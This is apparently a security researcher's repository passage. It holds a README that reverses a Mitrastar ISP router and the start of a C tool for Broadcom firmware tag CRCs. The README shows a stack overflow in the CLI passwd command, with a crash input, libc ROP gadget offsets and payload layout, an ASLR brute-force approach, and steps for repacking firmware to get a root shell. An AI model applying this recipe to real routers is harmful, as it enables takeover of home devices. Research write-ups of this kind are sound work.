├── README.md
├── analyzetag_mod.c
└── exploit_clean.py
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
Mitrastar MIPS router, reversing and exploitaition
3 |
4 |
5 |
6 | Analysis of a widely used SOHO router
7 |
8 |
9 |
10 |
11 |
12 | POC
13 | ,
14 |
15 | Twitter
16 | ,
17 |
18 | Pax0r
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 | ## Contents index
30 |
31 | - [Why](#Why)
32 | - [Firmware analysis](#Firmware)
33 | - [Firmware layout and modification](#Layout)
34 | - [Exploitation](#Exploitation)
35 | - [ROP chain](#ROP)
36 | - [Summary](#Summary)
37 |
38 | ## Why
39 |
40 | A few moths ago my ISP charged me what I consider a lot of money for a "Broadcom" Mitrastar router I couldn't return. So, let's have some fun with it at least! My goal was to obtain root access to the router with the newest firmware image and look for some memory bugs that could lead to RCE.
41 |
42 | ## Firmware
43 |
44 | My first approach was the typical one, open the device and look for some test pins in order to find UART, JTAG or something useful to interact with our device. After finding the UART pins and connect to them, we have an unlocked CFE bootloader:
45 |
46 | ```
47 | *** Press any key to stop auto run (1 seconds) ***
48 | Auto run second count down: 1
49 | web info: Waiting for connection on socket 0.
50 |
51 | CFE>
52 | Available commands: ATSE, ATEN, ATSH, um, m, ATBL, ATDU, ATBR, ATGO, ATSR, ATMB, ATHE
53 |
54 | CFE>
55 |
56 | ```
57 |
58 | I didn't figure out how to dump the NAND flash without "dn" command available. I can't flash a new bootloader either without "r" command. Another option is to unsolder the flash and try to dump the firmware out of the board, but after read some string with ATDU command I tried another approach.
59 |
60 | ```
61 | Creating 9 MTD partitions on "brcmnand.0":
62 | 0x000003260000-0x000006260000 : "rootfs"
63 | 0x000000040000-0x000003240000 : "rootfs_update"
64 | 0x000007b00000-0x000007f00000 : "data"
65 | 0x000000000000-0x000000020000 : "nvram"
66 | 0x000003240000-0x000006260000 : "image"
67 | 0x000000020000-0x000003240000 : "image_update"
68 | 0x000006260000-0x000007900000 : "app"
69 | 0x000007900000-0x000007a00000 : "usrcfg"
70 | 0x000007a00000-0x000007b00000 : "cfg_upgrade"
71 | ```
72 |
73 | Why not just install a vulnerable firmware version (this one), get a root shell and, after that, force a firmware upgrade and grab the new firmware image? There's no need to wait for TR-069 on 7547 if you force a firmware upgrade via the reset button. So after grabbing a compiled MIPS tcpdump bin and force the upgrade a few times, I catched a fresh firmware image requested to the ISP's CDN:
74 |
75 |
76 |
77 |
78 |
79 | I am not interested in researching an old firmware version, so the next steps were to modify this fresh firmware image into one that can give us a root shell and then look for some vulnerabilities in the up to date firmware. As far as I know, there aren't known bugs or ways to execute arbitrary commands as root in newest firmware versions.
80 |
81 | ## Layout
82 |
83 | Let's take a look at the firmware with binwalk:
84 |
85 | ```
86 | DECIMAL HEXADECIMAL DESCRIPTION
87 | --------------------------------------------------------------------------------
88 | 131072 0x20000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 22454151 bytes, 1342 inodes, blocksize: 131072 bytes, created: 2020-05-04 05:10:56
89 | 22585356 0x158A00C LZMA compressed data, properties: 0x6D, dictionary size: 4194304 bytes, uncompressed size: 4588512 bytes
90 | ```
91 |
92 | After manual analysis I found the firmware was composed of:
93 |
94 | - BCM tag header from 0 to 0x20000
95 | - Squashfs filesystem from 0x20000 to 0x158a000
96 | - Kernel preceded by code address and entry address from 0x158a000 to end.
97 |
98 | When the firmware update process starts, there were some CRC checks before the image is accepted and some checks after the first boot to ensure the kernel and image CRC is correct. Our modified firmware needs to pass both checks in order to work, or the router will switch to a previous validated image.
99 |
100 | Some of those CRC checks are in the BCM tag header (0-0x20000), I have uploaded to this repository a modified version of an analyze tag program who works with this specific firmware image. In order to pass the CRC checks, we need to modify the following values in BCM tag header:
101 |
102 | - Rootfs CRC
103 | - Kernel CRC
104 | - Image CRC
105 | - Header CRC
106 |
107 | Let's take a look at the BCM tag hexdump to clarify:
108 |
109 | ```
110 | 00000000 36 00 00 00 4d 53 54 43 5f 61 30 30 31 00 00 00 |6...MSTC_a001...|
111 | 00000010 00 00 00 00 00 00 00 00 76 65 72 2e 20 32 2e 30 |........ver. 2.0|
112 | 00000020 00 00 00 00 00 00 36 38 33 38 00 00 47 50 54 2d |......6838..GPT-|
113 | 00000030 32 35 34 31 47 4e 41 43 00 00 00 00 31 00 32 33 |2541GNAC....1.23|
114 | 00000040 39 37 37 34 33 34 00 00 30 00 00 00 00 00 00 00 |977434..0.......|
115 | 00000050 00 00 00 00 30 00 00 00 00 00 00 00 00 00 33 32 |....0.........32|
116 | 00000060 31 37 32 39 33 33 31 32 00 00 32 32 34 35 34 32 |17293312..224542|
117 | 00000070 37 32 00 00 33 32 33 39 37 34 37 35 38 34 00 00 |72..3239747584..|
118 | 00000080 31 35 32 33 31 36 32 00 00 00 00 00 00 00 31 30 |1523162.......10|
119 | 00000090 30 56 4e 4a 30 62 31 00 00 00 00 00 00 00 00 00 |0VNJ0b1.........|
120 | 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 53 |..............ES|
121 | 000000b0 5f 67 33 2e 35 5f 31 30 30 56 4e 4a 30 62 35 34 |_g3.5_100VNJ0b54|
122 | 000000c0 5f 37 5f 43 41 00 00 00 00 00 00 00 00 00 00 00 |_7_CA...........|
123 | 000000d0 00 00 00 00 00 00 00 00 **2c b2 12 e3** **98 d1 b9 d5** |........,.......|
124 | 000000e0 **9e db b0 36** 00 00 00 00 00 00 00 00 **34 68 8c 0b** |...6........4h..|
125 | 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
126 | 00000100 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
127 | *
128 | 00020000
129 |
130 | ```
131 |
132 | In this occasion, Kernel CRC is 9edbb036, Rootfs CRC is 98d1b9d5, Image CRC is 2cb212e3 and Header CRC is 34688c0b. When we modify the firmware, we need to set up the new calculated CRC values at those positions, ending with Header CRC value.
133 |
134 | At this point, to obtain a root shell is easy. I used unsquashfs and mksquashfs version 4.4 (with xz support) and modified inittab to "unjail" us from "consoled" program:
135 |
136 | ```
137 | cat /etc/inittab
138 | # See examples/inittab for full description of fields.
139 | # This file contains customizations for the Broadcom CPE Router SDK
140 |
141 | # "bcm_boot_launcher start" will execute all scripts in /etc/rc3.d starting
142 | # with letter S in lexicographical order
143 | ::sysinit:/bin/sh -l -c "bcm_boot_launcher start"
144 |
145 | # if you don't want to type username/passwd in console login, copy this
146 | # file to inittab.custom and replace "-/bin/sh -l -c consoled" below with "-/bin/sh"
147 | # The '-' means interactive, is still attached to terminal
148 | # Remove '-l -c consoled'
149 | ::respawn:-/bin/sh -l -c consoled
150 |
151 | # Currently, there are no scripts for shutdown
152 | ::shutdown:/bin/sh -l -c "bcm_boot_launcher stop"
153 | ```
154 |
155 | After the desired modifications, make the squashfs filesystem again, append the Kernel at the end of it and the BCM tag header at the start. Then, modify the CRC values, ending with Header CRC. I wrote a dirty bash script to automatize this process, DM me if you need it.
156 |
157 | If now we let the system start without interrupt it and we connect through UART, we'll have a root shell in latest firmware version:
158 |
159 | ```
160 | # ls QTN bootup done. qtnModuleInitCheckCnt = 0/10
161 | /etc
162 | getMiniBootCalstate@211: read calstate =3 from =/var/qtn_mini_boot_calstate===
163 |
164 | GPT-2541GNAC-TEF profile
165 | adsl protocols
166 | appwatchdog.sh psk.txt
167 | arl qharvestd.conf
168 | cms_entity_info.d qharvestdwatchdog.sh
169 | csmd.json racoon.conf
170 | default.cfg radvd.conf.sample
171 | dhcp rc3.d
172 | dhcp6c.conf.sample rdpa_common_filter_init.sh
173 | dhcp6s.conf.sample rdpa_common_init.sh
174 | dms.conf rdpa_gpon_init.sh
175 | dyndscp.sh re_test.sh
176 | ethertypes resolv.conf
177 | extra_func.sh rmt_ip.conf
178 | filesystems rsa_host_key
179 | fstab samba
180 | fstab.squashfs services
181 | gateway.conf sftp_download.sh
182 | group sftp_update.sh
183 | hosts shgw
184 | init.d shgwrestart.sh
185 | inittab smt.cfg
186 | iproute2 snmp
187 | ipsec.conf soft_bridge
188 | ipv6_start.sample sskwatchdog.sh
189 | mdk start_soniq.sh
190 | mfg25 sysconfig
191 | mfg6 syslog-ng.conf
192 | mini5g.sh sysmsg
193 | miniboot.sh udhcpd.conf
194 | minifw_version udhcpd.leases
195 | mtab vlan
196 | passwd wlan
197 | ppp wrt54g.large.ico
198 | pppmsg wrt54g.small.ico
199 | prbs.sh
200 | #
201 | ```
202 |
203 | ## Exploitation
204 |
205 | A stack-based buffer overflow exists in libcms_cli.so "passwd" functionality:
206 |
207 |
208 |
209 |
210 |
211 | I'm sure there are more vulnerabilities in this router, but this is a good start in my opinion. We're dealing with ASLR and NX, so we need to build a ROP-chain and, due to the fact I didn't found a memory leak yet, we can bruteforce libc.so base address because ASLR protection. In the worst scenario we need to perform about 8000 tries to successfully guess where the libc base address is. As only the child and not the parent process is terminating after segfault when connecting via SSH, in the worst scenario this will take a few hours, but it's working. After achieve RCE you can modify whatever you want, outside of the read-only filesystem, in order to gain a more reliable shell access. A working POC was uploaded to this repository.
212 |
213 | ```
214 | >
215 | > passwd
216 | Username: aaaa
217 | Password: unrecognized username #python -c "print('A'*250)"| xclip -sel clip
218 |
219 | Segmentation fault (core dumped)
220 | #
221 | ```
222 |
223 | ## ROP
224 |
225 | In this occasion, I used the following gadgets to call libc.so system() function:
226 |
227 | - Libc base address + 0x0005a380 = libc.so system()
228 |
229 | - Libc base address + 0x63338 = libc.so '/bin/sh'
230 |
231 | - Gadget 1. Libc base address + 0x00038834 = addiu $a0, $sp, 0x20 ; lw $ra, 0x64($sp) ; move $v0, $s2 ; lw $s3, 0x60($sp) ; lw $s2, 0x5c($sp) ; lw $s1, 0x58($sp) ; lw $s0, 0x54($sp) ; jr $ra ; addiu $sp, $sp, 0x68
232 |
233 | - Gadget 2. Libc base address + 0x0001f654 = move $t9, $s2 ; jalr $t9 ; move $a1, $s0
234 |
235 | To summarize, to call system with '/bin/sh' argument we need to:
236 |
237 | - Send 116 bytes of junk.
238 |
239 | - Send address of Gagdet 1. Gadget 1 is at $ra / $pc +8.
240 |
241 | - Send address of libc.so '/bin/sh', 23 times (yes, I'm lazy) for a total of 92 bytes.
242 |
243 | - Send address of libc.so system() function. We want libc.so system() at $s2.
244 |
245 | - Send 4 bytes of junk. In the exploit in the repository I set a random address I was testing.
246 |
247 | - Send address of Gadget 2.
248 |
249 | When Gadget 1 is called, it sets libc.so system() at $s2, Gadget 2 at $ra and libc.so '/bin/sh' at $s3, although system()'s argument will be taken from stack later when system() is called. Then, Gadget 2 takes system() from $s2 to $t9 and calls it with '/bin/sh' argument. After this, we can send the command we want to execute in the router.
250 |
251 | ## Summary
252 |
253 | It is well known that IOT devices and SOHO routers security is far from being ideal as we have seen in the last years. I have the feeling that other vulnerabilities can easily be found in this router model. It's been fun analyzing the device for a while! If you need additional information or you have found others vulnerabilities feel free to contact me. Any improvements are welcome, see you soon.
254 |
--------------------------------------------------------------------------------
/analyzetag_mod.c:
--------------------------------------------------------------------------------
1 | /*
2 | * This file is subject to the terms and conditions of the GNU General Public
3 | * License. See the file "COPYING" in the main directory of this archive
4 | * for more details.
5 | *
6 | * Copyright (C) 2008 Axel Gembe
7 | * Copyright (C) 2009 Daniel Dickinson
8 | */
9 |
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 |
19 |
20 | #define IMAGE_LEN 10 /* Length of Length Field */
21 | #define ADDRESS_LEN 12 /* Length of Address field */
22 | #define TAGID_LEN 6 /* Length of tag ID */
23 | #define TAGINFO_LEN 20 /* Length of vendor information field in tag */
24 | #define TAGVER_LEN 4 /* Length of Tag Version */
25 | #define TAGLAYOUT_LEN 4 /* Length of FlashLayoutVer */
26 |
27 | #define NUM_TAGID 5
28 | #define IMAGETAG_CRC_START 0xFFFFFFFF
29 |
30 | struct tagiddesc_t {
31 | char tagid[TAGID_LEN + 1];
32 | char tagiddesc[80];
33 | };
34 |
35 | // bc221 is used by BT Voyager and should be right
36 | // bc310 should be right, and may apply to 3.08 code as well
37 | #define TAGID_DEFINITIONS { \
38 | { "bccfe", "Broadcom CFE flash image" }, \
39 | { "bc300", "Broadcom code version 3.00-3.06 and all ftp/tftp flash" }, \
40 | { "ag306", "Alice Gate (Pirelli, based on Broadcom 3.06)" }, \
41 | { "bc221", "Broadcom code version 2.21" }, \
42 | { "bc310", "Broadcom code version 3.10-3.12" }, \
43 | }
44 |
45 | struct bcm_tag_bccfe {
46 | unsigned char tagVersion[TAGVER_LEN]; // 0-3: Version of the image tag
47 | unsigned char sig_1[20]; // 4-23: Company Line 1
48 | unsigned char sig_2[14]; // 24-37: Company Line 2
49 | unsigned char chipid[6]; // 38-43: Chip this image is for
50 | unsigned char boardid[16]; // 44-59: Board name
51 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE
52 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image
53 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE
54 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE
55 | unsigned char rootAddress[ADDRESS_LEN]; // 94-105: Address in memory of rootfs
56 | unsigned char rootLength[IMAGE_LEN]; // 106-115: Size of rootfs
57 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel
58 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel
59 | unsigned char dualImage[2]; // 138-139: Unused at present
60 | unsigned char inactiveFlag[2]; // 140-141: Unused at present
61 | unsigned char information1[TAGINFO_LEN]; // 142-161: Unused at present
62 | unsigned char tagId[TAGID_LEN]; // 162-167: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced
63 | unsigned char tagIdCRC[4]; // 168-171: CRC32 of tagId
64 | unsigned char reserved1[44]; // 172-215: Reserved area not in use
65 | unsigned char imageCRC[4]; // 216-219: CRC32 of images
66 | unsigned char reserved2[16]; // 220-235: Unused at present
67 | unsigned char headerCRC[4]; // 236-239: CRC32 of header excluding tagVersion
68 | unsigned char reserved3[16]; // 240-255: Unused at present
69 | };
70 |
71 | struct bcm_tag_bc300 {
72 | unsigned char tagVersion[TAGVER_LEN]; // 0-3: Version of the image tag
73 | unsigned char sig_1[20]; // 4-23: Company Line 1
74 | unsigned char sig_2[14]; // 24-37: Company Line 2
75 | unsigned char chipid[6]; // 38-43: Chip this image is for
76 | unsigned char boardid[16]; // 44-59: Board name
77 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE
78 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image
79 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE
80 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE
81 | unsigned char flashImageStart[ADDRESS_LEN]; // 94-105: Address in memory of kernel (start of image)
82 | unsigned char flashRootLength[IMAGE_LEN]; // 106-115: Size of rootfs + deadcode (web flash uses this + kernelLength to determine the size of the kernel+rootfs flash image)
83 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel
84 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel
85 | unsigned char dualImage[2]; // 138-139: Unused at present
86 | unsigned char inactiveFlag[2]; // 140-141: Unused at present
87 | unsigned char information1[TAGINFO_LEN]; // 142-161: Unused at present
88 | unsigned char tagId[TAGID_LEN]; // 162-167: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced
89 | unsigned char tagIdCRC[4]; // 168-173: CRC32 to ensure validity of tagId
90 | unsigned char rootAddress[ADDRESS_LEN]; // 174-183: Address in memory of rootfs partition
91 | unsigned char rootLength[IMAGE_LEN]; // 184-193: Size of rootfs partition
92 | unsigned char reserved1[22]; // 194-215: Reserved area not in use
93 | unsigned char imageCRC[4]; // 216-219: CRC32 of images
94 | unsigned char reserved2[16]; // 220-235: Unused at present
95 | unsigned char headerCRC[4]; // 236-239: CRC32 of header excluding tagVersion
96 | unsigned char reserved3[16]; // 240-255: Unused at present
97 | };
98 |
99 | struct bcm_tag_ag306 {
100 | unsigned char tagVersion[TAGVER_LEN]; // 0-3: Version of the image tag
101 | unsigned char sig_1[20]; // 4-23: Company Line 1
102 | unsigned char sig_2[14]; // 24-37: Company Line 2
103 | unsigned char chipid[6]; // 38-43: Chip this image is for
104 | unsigned char boardid[16]; // 44-59: Board name
105 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE
106 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image
107 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE
108 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE
109 | unsigned char flashImageStart[ADDRESS_LEN]; // 94-105: Address in memory of kernel (start of image)
110 | unsigned char flashRootLength[IMAGE_LEN]; // 106-115: Size of rootfs + deadcode (web flash uses this + kernelLength to determine the size of the kernel+rootfs flash image)
111 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel
112 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel
113 | unsigned char dualImage[2]; // 138-139: Unused at present
114 | unsigned char inactiveFlag[2]; // 140-141: Unused at present
115 | unsigned char information1[TAGINFO_LEN]; // 142-161: Unused at present
116 | unsigned char information2[54]; // 162-215: Compilation and related information (not generated/used by OpenWRT)
117 | unsigned char kernelCRC[4] ; // 216-219: CRC32 of images
118 | unsigned char rootAddress[ADDRESS_LEN]; // 220-231: Address in memory of rootfs partition
119 | unsigned char tagIdCRC[4]; // 232-235: Checksum to ensure validity of tagId
120 | unsigned char headerCRC[4]; // 236-239: CRC32 of header excluding tagVersion
121 | unsigned char rootLength[IMAGE_LEN]; // 240-249: Size of rootfs
122 | unsigned char tagId[TAGID_LEN]; // 250-255: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced
123 | };
124 |
125 | struct bcm_tag_bc221 {
126 | unsigned char tagVersion[TAGVER_LEN]; // 0-3: Version of the image tag
127 | unsigned char sig_1[20]; // 4-23: Company Line 1
128 | unsigned char sig_2[14]; // 24-37: Company Line 2
129 | unsigned char chipid[6]; // 38-43: Chip this image is for
130 | unsigned char boardid[16]; // 44-59: Board name
131 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE
132 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image
133 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE
134 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE
135 | unsigned char flashImageStart[ADDRESS_LEN]; // 94-105: Address in memory of kernel (start of image)
136 | unsigned char flashRootLength[IMAGE_LEN]; // 106-115: Size of rootfs + deadcode (web flash uses this + kernelLength to determine the size of the kernel+rootfs flash image)
137 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel
138 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel
139 | unsigned char dualImage[2]; // 138-139: Unused at present
140 | unsigned char inactiveFlag[2]; // 140-141: Unused at present
141 | unsigned char rsa_signature[TAGINFO_LEN]; // 142-161: RSA Signature (unused at present; some vendors may use this)
142 | unsigned char reserved5[2]; // 162-163: Unused at present
143 | unsigned char tagId[TAGID_LEN]; // 164-169: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced
144 | unsigned char rootAddress[ADDRESS_LEN]; // 170-181: Address in memory of rootfs partition
145 | unsigned char rootLength[IMAGE_LEN]; // 182-191: Size of rootfs partition
146 | unsigned char flashLayoutVer[4]; // 192-195: Version flash layout
147 | unsigned char kernelCRC[4]; // 196-199: Guessed to be kernel CRC
148 | unsigned char reserved4[16]; // 200-215: Reserved area; unused at present
149 | unsigned char imageCRC[4]; // 216-219: CRC32 of images
150 | unsigned char reserved2[12]; // 220-231: Unused at present
151 | unsigned char tagIdCRC[4]; // 232-235: CRC32 to ensure validity of tagId
152 | unsigned char headerCRC[4]; // 236-239: CRC32 of header excluding tagVersion
153 | unsigned char reserved3[16]; // 240-255: Unused at present
154 | };
155 |
156 | struct bcm_tag_bc310 {
157 | unsigned char tagVersion[4]; // 0-3: Version of the image tag
158 | unsigned char sig_1[20]; // 4-23: Company Line 1
159 | unsigned char sig_2[14]; // 24-37: Company Line 2
160 | unsigned char chipid[6]; // 38-43: Chip this image is for
161 | unsigned char boardid[16]; // 44-59: Board name
162 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE
163 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image
164 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE
165 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE
166 | unsigned char flashImageStart[ADDRESS_LEN]; // 94-105: Address in memory of kernel (start of image)
167 | unsigned char flashRootLength[IMAGE_LEN]; // 106-115: Size of rootfs + deadcode (web flash uses this + kernelLength to determine the size of the kernel+rootfs flash image)
168 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel
169 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel
170 | unsigned char dualImage[2]; // 138-139: Unused at present
171 | unsigned char inactiveFlag[2]; // 140-141: Unused at present
172 | unsigned char information1[TAGINFO_LEN]; // 142-161: Unused at present; Some vendors use this for optional information
173 | unsigned char tagId[6]; // 162-167: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced
174 | unsigned char tagIdCRC[4]; // 168-171: CRC32 to ensure validity of tagId
175 | unsigned char rootAddress[ADDRESS_LEN]; // 172-183: Address in memory of rootfs partition
176 | unsigned char rootLength[IMAGE_LEN]; // 184-193: Size of rootfs partition
177 | unsigned char reserved1[22]; // 193-215: Reserved area not in use
178 | unsigned char imageCRC[4]; // 216-219: CRC32 of images
179 | unsigned char rootfsCRC[4]; // 220-227: CRC32 of rootfs partition
180 | unsigned char kernelCRC[4]; // 224-227: CRC32 of kernel partition
181 | unsigned char reserved2[8]; // 228-235: Unused at present
182 | unsigned char headerCRC[4]; // 235-239: CRC32 of header excluding tagVersion
183 | unsigned char reserved3[16]; // 240-255: Unused at present
184 | };
185 |
186 | union bcm_tag {
187 | struct bcm_tag_bccfe bccfe;
188 | struct bcm_tag_bc300 bc300;
189 | struct bcm_tag_ag306 ag306;
190 | struct bcm_tag_bc221 bc221;
191 | struct bcm_tag_bc310 bc310;
192 | };
193 |
194 | #define IMAGETAG_MAGIC1 "Broadcom Corporatio"
195 | #define IMAGETAG_MAGIC2 "ver. 2.0"
196 | #define IMAGETAG_VER "6"
197 | #define IMAGETAG_DEFAULT_LOADADDR 0x80010000
198 | #define DEFAULT_FW_OFFSET 0x20000
199 | #define DEFAULT_FLASH_START 0xBFC00000
200 | #define DEFAULT_FLASH_BS (64 * 2048)
201 | #define DEADCODE 0xDEADC0DE
202 |
203 | union int2char {
204 | uint32_t input;
205 | unsigned char output[4];
206 | };
207 |
208 | /* This appears to be necessary due to alignment issues */
209 | #define int2tag(tag, value) intchar.input = htonl(value); \
210 | strncpy(tag, intchar.output, sizeof(union int2char))
211 |
212 | #define printhex(format, value) printf(format, value, value)
213 |
214 | /* Kernel header */
215 | struct kernelhdr {
216 | uint32_t loadaddr; /* Kernel load address */
217 | uint32_t entry; /* Kernel entry point address */
218 | uint32_t lzmalen; /* Compressed length of the LZMA data that follows */
219 | };
220 |
221 | static struct tagiddesc_t tagidtab[NUM_TAGID] = TAGID_DEFINITIONS;
222 |
223 | static uint32_t crc32tab[256] = {
224 | 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
225 | 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
226 | 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
227 | 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
228 | 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
229 | 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
230 | 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
231 | 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
232 | 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
233 | 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
234 | 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
235 | 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
236 | 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
237 | 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
238 | 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
239 | 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
240 | 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
241 | 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
242 | 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
243 | 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
244 | 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
245 | 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
246 | 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
247 | 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
248 | 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
249 | 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
250 | 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
251 | 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
252 | 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
253 | 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
254 | 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
255 | 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
256 | };
257 |
258 | uint32_t crc32(uint32_t crc, uint8_t *data, size_t len)
259 | {
260 | while (len--)
261 | crc = (crc >> 8) ^ crc32tab[(crc ^ *data++) & 0xFF];
262 |
263 | return crc;
264 | }
265 |
266 | uint32_t compute_crc32(uint32_t crc, FILE *binfile, size_t compute_start, size_t compute_len)
267 | {
268 | uint8_t readbuf[1024];
269 | size_t read;
270 |
271 | fseek(binfile, compute_start, SEEK_SET);
272 |
273 | /* read block of 1024 bytes */
274 | while (binfile && !feof(binfile) && !ferror(binfile) && (compute_len >= sizeof(readbuf))) {
275 | read = fread(readbuf, sizeof(uint8_t), sizeof(readbuf), binfile);
276 | crc = crc32(crc, readbuf, read);
277 | compute_len = compute_len - read;
278 | }
279 |
280 | /* Less than 1024 bytes remains, read compute_len bytes */
